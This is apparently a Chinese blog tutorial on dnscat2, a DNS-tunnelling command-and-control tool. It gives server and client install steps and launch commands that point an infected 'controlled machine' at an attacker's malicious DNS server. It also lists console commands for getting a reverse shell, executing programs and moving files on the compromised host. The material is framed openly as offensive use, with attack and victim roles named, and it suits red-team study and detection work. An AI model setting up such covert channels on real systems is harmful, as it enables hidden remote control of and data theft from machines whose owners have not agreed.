一、入坑必读
1、简介
dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell……
使用热度: ★★★★☆
2、专业词
- Type:DNS解析的类型,常见的有:A、CNAME、MX、TXT……
- 直连模式:客户端直接向指定IP的
恶意DNS服务器
发起DNS解析请求 - 中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的
恶意DNS服务器
。相比直连,速度较慢,但是更安全。3、放哪儿
| 攻击机 | 被控机 |
|–|–|
| 服务端 | 客户端 |
4、支持Type
- [x] A
- [x] TXT
- [x] CNAME
- [x] MX
- [x] AAAA
注意: 默认是TXT、CNAME、MX随机混合使用
5、兼容说明
服务端为
Ruby
编写,需安装Ruby环境。kali系统内置Ruby,但是运行时仍可能报缺少一些gem依赖:- ecdsa
- salsa20
- sha3
- trollop
依次安装即可,范例:
gem install ecdsa-1.2.0.gem
这些gem依赖、服务端、客户端等所有工具,下面的下载地址已打包提供!
当然你也可以去
https://rubygems.org/gems
网站上搜索并下载所有的gem依赖。- 客户端为
C
编写,使用前需先编译,Windows编译可使用VS
、Linux则直接make install
- 这里也提供编译好的Win客户端:
6、全套下载地址
二、原理简述
Dnscat2分为两部分:客户端和服务器。
客户端:
在受感染的计算机上运行。C语言编写的,具有最小可能的依赖性。
运行模式如大多DNS隧道工具一样:
Dnscat2客户端
->DNS服务商
->Dnscat2服务端
。如果您没有购买域名,还可以在UDP/53上使用直连。它们会更快,但它在数据包中更明显(所有域名都以
dnscat
为前缀,除非你破解了源代码)。防火墙经常会阻止此模式。
服务端:
Ruby语言编写,在服务器上运行。它除了监听在UDP/53上发送给它的消息之外,还要指定它应该监听哪个域名。
当它接收其中一个域名的流量时,它会尝试建立DNS连接。如果它接收到其他流量,它默认忽略它,当然你也可以在上游转发它。
三、安装使用
1、安装
服务端:1
2
3
4
5
6# 如果是上面地址直接下载的,则跳过
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2
cd server
sudo gem install bundler
bundle install<script src="https://localhost01.cn/js/jquery-2.0.0.min.js"></script>
客户端:1
2
3
4# 如果是上面地址直接下载的,则跳过
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
2、使用
在服务端机器上,执行:1
2
3
4#启动
sudo ruby./dnscat2.rb abc.com --secret=123456 #方式1【常用】
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=123456 #方式2
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache #方式3
方式1:
- abc.com 自定义DNS传输的域名
- –secret 自定义连接密码
方式2(直连
):
- server&port 表示监听本机的533端口
- –secret 自定义连接密码
方式3:
–secret 定义了通讯密码。
两端使用时,均需跟上该密码,可防止中间人攻击。如果不加,dnscat2会生成一个随机字符串,记得拷贝下来在启动客户端时使用。
同时服务端在运行时,也可通过
set secret=<new value>
来动态改变–security 规定了安全级别。
默认情况下,客户端和服务器都支持并会尝试加密。Open表示服务端允许客户端不加密,这样,客户端就可以通过传递–no-encryption参数来禁用加密。当然也可以在编译时,就禁用客户端加密:
make nocrypto
。同时服务端在运行时,也可通过set security=open来动态改变。
- –no-cache 禁止缓存
使用powershell-dnscat2客户端时,务必在运行服务器时添加无缓存选项,因为与dnscat2服务器的caching模式不兼容。
在客户端机器上,执行:1
2dnscat --secret=123456 abc.com #对应 方式1
dnscat --dns server=<your dnscat2 server ip>,port=553,type=TXT #对应 方式2,注意使用--dns选项时,port不可省,否则可能连不上
其中:
- \
服务端的 公网IP
,表示不走DNS服务商
这一步,直接向dnscat2服务端
所在的服务器IP
请求DNS解析 - -t 使用的DNS类型
客户端连上后,会提示:Session established!
而服务端的控制台输入:windows
,即可以看到一个客户端上线:1
1 :: command (DESKTOP-7NSDT5)……
其中:
- 1表示该客户端ID,如果使用
window -i 1
,即可进入该通道;
键入shell
,即可得到一个半交互shell!(相比dns2tcp,使用起来不是很流畅)~
help
可查看控制台支持的命令,常用的有:
- quit (退出控制台)
- kill \
(中断通道) - set(设值,比如设置security=open)
- windows(列举出所有的通道)
- window -i \
(连接某个通道) 连接通道后,使用
help
同样可以看到其内支持的命令(单个命令后跟-h
也会解释该命令):- clear(清屏)
- delay(修改远程会话超时时间)
- exec(执行远程机上的程序)
- shell(得到一个反弹shell)
- download/upload(两端之间上传下载文件)
- supend(返回到上一层,等于快捷键
ctrl+z
)
更多文章,请关注:开猿笔记